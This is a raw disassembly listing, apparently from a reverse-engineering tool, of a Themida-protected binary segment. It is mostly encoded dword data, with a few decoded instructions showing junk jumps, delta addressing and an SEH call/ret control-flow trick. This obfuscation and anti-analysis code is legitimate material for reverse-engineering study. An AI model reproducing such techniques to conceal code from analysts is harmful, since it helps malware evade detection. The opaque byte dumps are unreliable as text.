dd 1A042444h, 47000000h, 0EA45C357h, 0C4EA742Bh, 68B0FA8h
dd 8B000000h, 0B0EE99Dh, 0FD1FF06h, 683h, 0F5BD8B00h, 83060B03h
dd 0B0B19BDh, 850F0106h, 6Dh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Dh, 0C5C35646h, 5101D935h, 0EF4B28C8h
dd 8B66F51Bh, 0F026ADAh, 118Fh, 0CE900h, 0A2F70000h, 59E36D41h
dd 2E0ED305h, 0E99069CEh, 12h, 0FCCB6827h, 0F848FAC6h
dd 0A2D0B01Ah, 69CC6ED4h, 6650D8E6h, 8A90DE8Bh, 1595FFDEh
dd 89060B0Fh, 0B04A595h, 0EA4E906h, 0E80000h, 5D000000h
dd 904FED81h, 6A060Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 0B52961C3h, 60B0E9Dh, 30F19D8Bh
dd 0B70F060Bh, 93858DDBh, 6A060E92h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 29A7C351h
dd 0B0E65B5h, 8E0F5006h, 17h, 0FE850h, 0E00A0000h, 0A0B04A92h
dd 4DC1C350h, 0BDE674D7h, 895F5B41h, 6A2404h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 2ECB22C3h
dd 8E4FEA81h, 1A359D8Bh, 0FF64060Bh, 35h, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 8B4016FEh, 0B005DBDh, 649CB306h, 2589h, 0BF660000h
dd 85FF2432h, 60B066Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ch, 0EFC35343h, 0B27A6978h, 23E2E81Fh, 1805BD8Bh
dd 0FF6A060Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ah, 0F0C35343h, 23268951h, 295015FDh, 0B30F1B5h, 0B5FF5F06h
dd 60B1AA9h, 16F38166h, 0F1BD8BD4h, 0FF060B0Eh, 0B241195h
dd 120E906h, 0E3800000h, 0E600B007h, 48D38170h, 0E45EFECFh
dd 0F0BF6671h, 0F613C10h, 10583h, 0F9BD2300h, 8B060B13h
dd 0B12C59Dh, 0C8B60F06h, 128DBD31h, 6BA060Bh, 0F000000h
dd 68Fh, 259D2900h, 8B060B21h, 6850FC1h, 9000000h, 0B0E4DBDh
dd 4E8C106h, 8BBDB760h, 0B17CD95h, 81666106h, 668B54D7h
dd 8D29E2F7h, 60B207Dh, 9D8BC82Bh, 60B0069h, 99BBD18Bh
dd 0E91281DBh, 18h, 0EE9h, 8C7CB200h, 0B3B9F20Ch, 81F60676h
dd 667C02E2h, 20B5DF81h, 2139858Bh, 9D31060Bh, 60B21F1h
dd 3107C083h, 0B26C58Dh, 0C08306h, 603F3DBFh, 0FD03B00h
dd 2083h, 7DB58900h, 0E9060B08h, 5Ah, 0AE9h, 14C3F500h
dd 5AE5F044h, 89EF7132h, 0B1B01B5h, 0E98D8B06h, 80060B13h
dd 0E18348D3h, 33840F01h, 0BB000000h, 22F0B610h, 13E9A583h
dd 0E8FE060Bh, 0Ah, 7276F71Bh, 657D653Ch, 9D23E094h, 60B02A1h
dd 3995895Fh, 81060B21h, 18C5A4D7h, 0E94Fh, 0B58D0000h
dd 60F00DBh, 59DBD8Bh, 0B589060Bh, 60B0BA5h, 6A006Ah, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 0A6573C3h, 426ABBD1h, 0FFF9779Ch, 0B32DD95h, 0B5BD8906h
dd 0B9060B31h, 8E6h, 9E9h, 52593600h, 0EF095A82h, 2DBB1F29h
dd 8352EE01h, 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 5C6752C3h, 6AFC6DDCh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 163BC353h, 0ACA4D37Bh, 0B70FE9E8h, 89C02BD9h, 0B29059Dh
dd 6AD22B06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 78BCC357h, 29FB0D2Ch, 0B0F35B5h
dd 0C233AD06h, 0D003E8D1h, 7504E983h, 118531F4h, 6A060B10h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 9D73C353h, 0F517A9Fh, 683h, 19BD8B00h, 5B060B33h
dd 880Dh, 958BF500h, 60B174Dh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 0D1C35242h, 594367DFh, 929BD8Bh
dd 9D8B060Bh, 60B2EE9h, 1198D8Bh, 6A060Bh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0C1BD66C3h
dd 0AB43D987h, 1B918589h, 8B50060Bh, 3188BC2h, 8B188BC1h
dd 3E8D1C1h, 58188BC2h, 6810Fh, 0E7810000h, 3D4AF582h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 13C35747h
dd 0E9BD8B66h, 83060B19h, 0B29BDBDh, 840F0006h, 7Ah, 559D8B51h
dd 5F060B2Fh, 2A599D8Bh, 0B8060Bh, 81000000h, 0A9CA6BDBh
dd 0D78D8D4Eh, 6A060B4Dh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 40B6C350h, 6880F80h
dd 9000000h, 0B16ADB5h, 0B6BF6606h, 6AE1FF74h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 93C6C356h, 0BFD99B29h, 31ED8C8Bh, 68DB529h, 0BD83060Bh
dd 60B1009h, 78840F00h, 66000004h, 83D85ABBh, 0B1009BDh
dd 840F0106h, 482h, 9599BB66h, 1009BD83h, 0F03060Bh, 43B86h
dd 6A6000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 0FD60C4C3h, 16B99D8Bh, 6E8060Bh, 0EC000000h
dd 110B099Eh, 0B1BD8909h, 5F060B19h, 6AD98C66h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 102DC356h, 0E180D44Fh, 0D98D8904h, 0A060B13h, 61840FC9h
dd 8B000001h, 0B218DBDh, 31606006h, 0B1241BDh, 6161F906h
dd 317D858Bh, 8166060Bh, 33680EF7h, 0B06ED85h, 0BDBD0106h
dd 0F5060B18h, 0DE990h, 0E6C40000h, 0EB80364Dh, 544725C1h
dd 50AF2B23h, 6A90DA8Bh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 8930C352h, 0B078595h
dd 66006A06h, 0E8CD43BFh, 4, 1F03FFh, 16870F50h, 0E8000000h
dd 0Eh, 58D0E6F1h, 0E4E2DB14h, 1716CF4h, 0AB7E0B9h, 24448B5Fh
dd 13E904h, 85C20000h, 0CA456E7Fh, 0EC254467h, 56C63062h
dd 13A8F47h, 0E9008B2Ch, 12h, 31FF77C1h, 53CCF8AAh, 1FA1D196h
dd 0D56711C1h, 44894781h, 0F510424h, 28Ch, 5F616000h, 0BBBB6658h
dd 0D195FF39h, 6A060B03h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 5B7C352h, 99EECE1h
dd 8589110Bh, 60EA81Dh, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Dh, 0B6C35141h, 0E2AEAD4Bh
dd 0EF5D2B79h, 19B5093Dh, 0F060B04h, 0CEE9DBBFh, 6A000001h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 0F0D6C352h, 0FC527BE7h, 0BD8BF91Fh, 60B0BC9h
dd 0A815858Bh, 6A060Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 86DC5FC3h, 0C9F333B2h, 182711BBh
dd 1800C73Dh, 0FC000000h, 0A819B58Bh, 6A060Eh, 3E850h
dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 33F9C6C3h, 0B2849BDh, 0E59D8B06h, 8B060B07h, 0B06E185h
dd 895EB706h, 29BD3306h, 1060B10h, 0B112995h, 7D858B06h
dd 6A060B31h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 3A12C350h, 10E8h, 95F6B200h, 0CFBC3BA1h
dd 0C14A6DFEh, 4EECB116h, 95B509A8h, 5B060B01h, 0EE9h
dd 7EEB9700h, 77EB7E83h, 67BAE7F9h, 8917F674h, 60510446h
dd 5A56C18Bh, 8B965F61h, 8B6650FBh, 0D78196F8h, 5E036FFCh
dd 6880Fh, 0BD8B0000h, 60B2DFDh, 0A815B5FFh, 6A060Eh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 1D4AB1C3h, 0A7CA855Fh, 0D781E4ECh, 2B8DAB0h, 4ACB7F68h
dd 13E9E7h, 5BA30000h, 0B58ECAD2h, 0CDE575A6h, 0E6A1F64h
dd 3A656327h, 240481AFh, 18D43880h, 1D858DF9h, 8B060EA8h
dd 0B240D9Dh, 0BF669006h, 6650A488h, 90902ABFh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0EC35343h, 9D8B6080h
dd 60B2EC9h, 0D195FF61h, 9060B03h, 0B31698Dh, 13E906h
dd 0BCC50000h, 0E8803D51h, 68D90A7Dh, 401DA51Dh, 6F0DF8A1h
dd 6A617Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 56BE2FC3h, 16EBCF6Fh, 0BF0FD02Bh, 6DBD8BDAh
dd 0C7060B29h, 0B100985h, 306h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0C4CA9019h
dd 8A18BF66h, 0A81DBD83h, 0F00060Eh, 6384h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 0E9FA8BB2h, 0Ah, 1688801Dh, 87E0C55Ah, 4CE9688Eh, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 0DB5C351h, 0FE9h, 73B6C100h, 6763C9ACh, 8BB8647h
dd 6B29C3B8h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h
dd 6AC08B00h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 0FFEAC351h, 66C989CAh, 6880Fh
dd 8D010000h, 60B0D19h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 65C35747h, 0C5E47935h, 1DCF310Ah, 93E8F381h
dd 0BD8369BAh, 60B1009h, 69850F03h, 6A000004h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 0EFBAC353h, 2D001110h, 0CA3EA813h, 0A81DBD83h, 0F00060Eh
dd 43784h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 33C2583Eh, 0B23159Dh, 9850906h, 0FF060B18h
dd 0EA81DB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 2A50059h, 4C60ED55h, 0FF4AB309h
dd 0B083D95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 8E7E71Ch, 8BC75024h, 0EA811B5h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 9D896F49h, 60B1F71h, 106C7h, 6A0001h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 291609C3h
dd 8DE48120h, 7D9589D4h, 0E8060B18h, 5, 755481F0h, 0FE8B573Bh
dd 50505B5Fh, 0FA8B6652h, 8D0F310Fh, 6, 310F5250h, 585A585Ah
dd 6A243489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 0D13FC355h, 47FB3CA8h, 84391C5Ah
dd 6299D31h, 6E9060Bh, 0F0000000h, 1C9B6688h, 0B5FFF8A8h
dd 60EA81Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Dh, 3DC35242h, 6C07EC38h, 1C5CA77Ah, 0C5B5099Bh, 0FF060B14h
dd 0B064195h, 0C18D8906h, 8B060B08h, 0EA811B5h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 58804D60h, 1FBF6664h, 1D858BADh, 6A060B12h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 0BF97C356h, 0FC872E79h, 9D332062h, 60B3129h, 8D59529h
dd 8689060Bh, 0C4h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 14h, 80C35141h, 286AD781h, 0BB663804h, 958B49D7h
dd 60B174Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 14h, 88C35646h, 0B95B589h, 0B70F060Bh, 4C283DAh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B2C35646h, 10E9489Dh
dd 28000000h, 6946BAE4h, 29A3A4A8h, 3DD0F10Bh, 89F992C9h
dd 95892050h, 60B0F49h, 0BAEE858Dh, 6A060Eh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 8A03D1C3h
dd 0E79D8BBEh, 8689FB5Eh, 0B8h, 0BD03006Ah, 60B08C9h, 0A81DB5FFh
dd 840F060Eh, 6, 21759501h, 95FF060Bh, 60B0F15h, 5050F98Ah
dd 0DE8B6652h, 8B66310Fh, 89585ADFh, 6A2434h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 6B20BC3h
dd 0DF8B340Ah, 0A81DB5FFh, 6A060Eh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 180424h, 50400000h, 5A9210C3h
dd 0BB66F379h, 95FF78E2h, 60B00F5h, 13E9h, 0CE8F900h, 0F0CAD46Eh
dd 8ECD974Bh, 0FFCFC336h, 0F9650019h, 2191BD83h, 0F00060Bh
dd 3284h, 0BD9D8B00h, 96060B06h, 50F98B66h, 6A96DF8Bh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 54D0C357h, 0C3600A0Ah, 0FFFAA4D1h, 0EA81DB5h
dd 0FDBD8B06h, 0FF060B06h, 0B128195h, 0FF87B306h, 0EA81DB5h
dd 89D98B06h, 0B32D985h, 8D95FF06h, 80060B0Bh, 0BD83FFEBh
dd 60B17F1h, 7A840F02h, 0E8000000h, 10h, 937FA6Fh, 0CB6B3842h
dd 678D4911h, 6DADF841h, 0AE8h, 0DCEB8D00h, 5BE4A752h
dd 8BBB256Dh, 0B29C5BDh, 8B5F5B06h, 0B2EC585h, 6820F06h
dd 89000000h, 0B1A99B5h, 0AE906h, 0C6550000h, 97241D61h
dd 0D5C25EDCh, 6A0000C6h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 1EEDC352h, 0E176D44Ah
dd 0D78043BFh, 78BB669Eh, 0B985C7D4h, 60B06h, 0F000000h
dd 0BD8BD8BFh, 60B13BDh, 0FFF2C5E9h, 56006AFFh, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 8BF63B33h, 0B0EE99Dh, 6AC18B06h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 996DC351h, 0F5589730h, 5D86E28h, 68F0F57h, 8B000000h
dd 0B16819Dh, 858D5B06h, 60B28A9h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 0BDC35343h, 8CEDC9EEh, 8088A98Fh
dd 0F60C0E3h, 0B70FF7BFh, 895061C6h, 6A2404h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 84EFAEC3h
dd 94197B84h, 8B669FA4h, 6A006AFAh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0FB7FC357h
dd 8E8B8h, 0CF0A0000h, 0D6A7A45Ch, 0CF81DA05h, 3EC0440Ch
dd 0DF8B665Bh, 12E9006Ah, 21000000h, 0AF6EC901h, 91520E6Fh
dd 0E25BE1Ch, 977CCBE8h, 1A858DC4h, 8B060FA1h, 0B2E319Dh
dd 5C08306h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 18h, 4BC35242h, 655E8939h, 6850Fh, 0BD8B0000h, 60B2981h
dd 24048950h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 97C35343h, 0A4B251ABh, 0E7872F2Dh, 79BD2968h, 6A060B13h
dd 0D8B70F00h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 742186C3h, 2195FF58h, 6A060B2Fh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 0FF7C350h, 8D8DDEB7h, 60EA7B0h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B9C35646h, 0A98D89A8h
dd 0FF060B04h, 0BD9D01D1h, 83060B21h, 0B0B19BDh, 850F0106h
dd 8Ah, 536EBE60h, 830F28C1h, 14h, 0EE8h, 46ABB600h, 5D582F38h
dd 7D4FAF4Eh, 5EFF1657h, 0F026A61h, 8A90F8BFh, 59BB50DAh
dd 9072ACA3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 6DC35646h, 958960DDh, 60B19C1h, 6E9h, 9FF0BE00h
dd 61340857h, 0F1595FFh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 0DFFEB1C3h, 3FE8728Ah
dd 17E992B2h, 0E800000Ch, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 60FA124h
pusha
jg loc_5861DC
ja $+6
loc_5861DC: ; CODE XREF: Themida_:005861D0j
popa
add edi, 4320F5ECh
lea eax, [ebp+60E9293h]
mov ebx, [ebp+60B0FADh]
nop
push eax
mov edi, eax
nop
pusha
xor edi, [ebp+60B2E09h]
mov [ebp+60B0115h], eax
popa
push large dword ptr fs:0
push 0
push eax
call sub_586214
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586214 proc near ; CODE XREF: Themida_:0058620Cp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_586214 endp
; ---------------------------------------------------------------------------
pop edi
jmp short loc_58626D
; ---------------------------------------------------------------------------
db 78h
dd 506E1006h, 6FF38166h, 0AD9501A8h, 64060B1Ah, 2589h
dd 95890000h, 60B29ADh, 66D85FFh, 5260060Bh, 42F7CE81h
dd 0F587B8Eh, 6A61DABFh, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h
db 4
; ---------------------------------------------------------------------------
loc_58626D: ; CODE XREF: Themida_:00586225j
push ss
; ---------------------------------------------------------------------------
dw 0
dd 0C3534300h, 0FF462078h, 0B0105B5h, 11958906h, 0FF060B22h
dd 0B241195h, 0EDE906h, 0B5890000h, 60B07D5h, 0AE900B0h
dd 0A6000000h, 1BF72625h, 0E7BF25E9h, 170E690h, 0B233995h
dd 51BD8B06h, 0E4060B18h, 0F7816671h, 613CB060h, 0B9830Fh
dd 9D890000h, 60B0069h, 0BAC8B60Fh, 6, 29899D33h, 0C18B060Bh
dd 0E2A1EB81h, 0E8C17ECCh, 67BF6604h, 0E2F766CBh, 233D9D89h
dd 0C82B060Bh, 87B96051h, 6159BB78h, 0F5D18B5Fh, 6E9h
dd 35BD3300h, 8B060B27h, 0B329185h, 9DB58906h, 83060B05h
dd 0EF8107C0h, 4BCE7688h, 8A00C083h, 0FD03BD9h, 1583h
dd 0D0806000h, 22F0BBA3h, 0E96177E6h, 43h, 166D9D8Bh, 8D8B060Bh
dd 60B2A6Dh, 39850960h, 81060B04h, 9F54F4E7h, 0E1836178h
dd 20840F01h, 0F000000h, 81h, 6DA58300h, 0FE060B2Ah, 919589F8h
dd 57060B32h, 3366C6BBh, 0E95F61h, 8D000000h, 0F0B15B5h
dd 0BFD78106h, 6A0AB0FEh, 0A6C38000h, 32DD95FFh, 9D2B060Bh
dd 60B1965h, 71FB9h, 0E183F500h, 66FCF5FCh, 9F5BEF81h
dd 68E0Fh, 0BD8B0000h, 60B23F5h, 6AC02Bh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 8F31CAC3h
dd 239C2484h, 0B31D5BDh, 6AD22B06h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 7540C357h
dd 3E7AAD5Fh, 882969BBh, 8D9D893Bh, 0AD060B32h, 0E8D1C233h
dd 0E983D003h, 6AF47504h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 537AC352h, 0BDD407E4h
dd 9D8960F7h, 60B1359h, 31858B60h, 0E9060B2Eh, 10h, 6F812D4Eh
dd 0DC922A80h, 0F75D434Bh, 0CC362178h, 830F6161h, 6, 0E15BD8Bh
dd 880D060Bh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 0C7FAC357h, 0F98B9651h
dd 8BD8B70Fh, 0B174D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1404h, 0C3524200h, 1D958909h, 8B060B24h
dd 0B01198Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 0C93DD0F1h, 0F88BF992h, 8BC28B50h
dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 4D3A13C3h
dd 0E3816642h, 6AEBF7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 6C3767C3h, 839718CAh, 0B29BDBDh
dd 840F0006h, 54h, 800Fh, 0B80000h, 89000000h, 0B32F9B5h
dd 0D78D8D06h, 81060B4Dh, 9416D7F7h, 6AE1FF49h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
dd 1ADDC353h, 0AED07A3h, 2820Fh, 0DE8B0000h, 68B0Fh, 0BD8B0000h
dd 60B206Dh, 1009BD83h, 0F00060Bh, 3D984h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 0E9B3D5C9h, 0Fh, 85AA7CD0h, 7244AE57h, 0AD435BD2h, 83BD5C56h
dd 0B1009BDh, 840F0106h, 3B5h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 99C35141h, 0AED46228h, 0D34A47EBh
dd 0D5BD3185h, 56060B17h, 0C9F638BBh, 0BD835B4Fh, 60B1009h
dd 40860F03h, 0FC000003h, 0E1858960h, 89060B17h, 0B279D9Dh
dd 0D98C6606h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 16h, 9BC35242h, 9589C62Ch, 60B234Dh, 0DEB70F57h, 0E9C7805Bh
dd 6A04E180h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 0FCBDC351h, 901BD2Bh, 0C90A060Bh
dd 0D3840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 3FBBD3C3h, 8B1128C5h, 0B317D85h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 5FD18C2Fh, 8533F5A9h, 60B06EDh, 6690F98Bh
dd 501901BFh, 95E9BF66h, 99BD2990h, 0FC060B17h, 6A006Ah
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 0F208A5C3h, 0F75BD89h, 0FF68060Bh, 810B777Dh, 7E002434h
dd 6A0B68h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 8B5142C3h, 3D195FFh, 8166060Bh, 899ED8E3h
dd 0EA81D85h, 0E878BF06h, 7AE94975h, 81000001h, 0D0B48F3h
dd 15858B34h, 8B060EA8h, 0B05D59Dh, 0BE906h, 1C880000h
dd 0C3AEDC07h, 0C3FECD07h, 1800C757h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 0A1F4C351h, 0A819B58Bh, 8B66060Eh, 0E1858BFBh, 89060B06h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 4444285Bh, 9235220h, 0BD232DC6h, 60B12B5h
dd 317D858Bh, 0BD8B060Bh, 60B0BA5h, 0BF044689h, 6CD6A185h
dd 5318589h, 6696060Bh, 500343BBh, 61606060h, 87BA5761h
dd 5F599967h, 6A9661h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 0BF6608C3h, 0B5FF9E3Ch, 60EA815h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 90C35545h
dd 0BD2956F2h, 60B1341h, 3D1685Bh, 6651246Ah, 815BDF8Bh
dd 2E2434h, 6A2475h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 0A6B020C3h, 858D9E1Ah, 60EA81Dh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 79C35343h
dd 6E8ACh, 73970000h, 0D6E7A5BFh, 0F91BD01h, 905B060Bh
dd 0BB50FB8Bh, 23C646CEh, 7DBD8990h, 0FF060B0Bh, 0B03D195h
dd 67BB6606h, 6A6163h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 170424h, 57470000h, 5AB9ABC3h, 8848BFDEh, 8B662194h
dd 985C7D8h, 3060B10h, 0BF000000h, 3FBF3810h, 0A81DBD83h
dd 0F00060Eh, 4A84h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 44E95Ah, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 1347BC3h, 0B0E69BDh, 0AD952906h, 50060B0Bh, 110C30h
dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h
dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h
dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 0BD89C08Bh
dd 60B06D5h, 6E8h, 5A524100h, 3B68BB9h, 0B02A99Dh, 6E95F06h
dd 7F000000h, 0E1F2645Ah, 9BD83E3h, 3060B10h, 3DF850Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 8B6642C3h, 1DBD83F8h, 60EA8h, 3B3840Fh, 8E90000h
dd 0E6000000h, 585681E2h, 0FFB440EAh, 0EA81DB5h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 0CEB1DFEh, 0D2B14483h, 89BD2957h, 5B060B03h, 83D95FFh
dd 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 8918B9C3h, 0B0671BDh, 11B58B06h, 6A060EA8h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h
dd 40000000h, 1AB9C350h, 6C74347h, 10001h, 1B558589h, 6096060Bh
dd 880F53h, 5F000000h, 5061DE8Bh, 5E95250h, 85000000h
dd 0B4A89935h, 0E853310Fh, 0Ch, 0CCA14C98h, 8502F5AAh
dd 42F787BFh, 585A5B5Fh, 5820F96h, 0BB000000h, 2F60ECFAh
dd 0A81DB5FFh, 6A060Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 0F76D6DC3h, 66126788h, 95FFFB8Bh
dd 60B0641h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 16h, 0E8C35242h, 9D8BE737h, 60B0B39h, 15A1B589h, 0B58B060Bh
dd 60EA811h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ch, 0CAC35343h, 0BF395B8h, 1299DFE3h, 0CE9h, 0E93EB900h
dd 0E7FABF82h, 8EBFB665h, 1D858B50h, 0F060B12h, 584h, 0CF816600h
dd 86893F7Bh, 0C4h, 6D958B60h, 66060B0Fh, 61823EBBh, 174D958Bh
dd 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 0B88D80C3h, 8E93B8Eh, 81000000h, 654F0725h
dd 8318536Eh, 0BD0304C2h, 60B29E5h, 0F205089h, 1982h, 14E900h
dd 5B2B0000h, 8202E09Ah, 0C0589C2Ah, 72797BA4h, 5491DAF5h
dd 858DD185h, 60EBAEEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 0A1C35545h, 0DCDBD31h, 8689060Bh, 0B8h
dd 0DE9h, 0E34B3C00h, 0FA67209Fh, 0ACE45AFFh, 6ABF28h
dd 9860Fh, 8B600000h, 1C21B8C2h, 0FF61303Ch, 0EA81DB5h
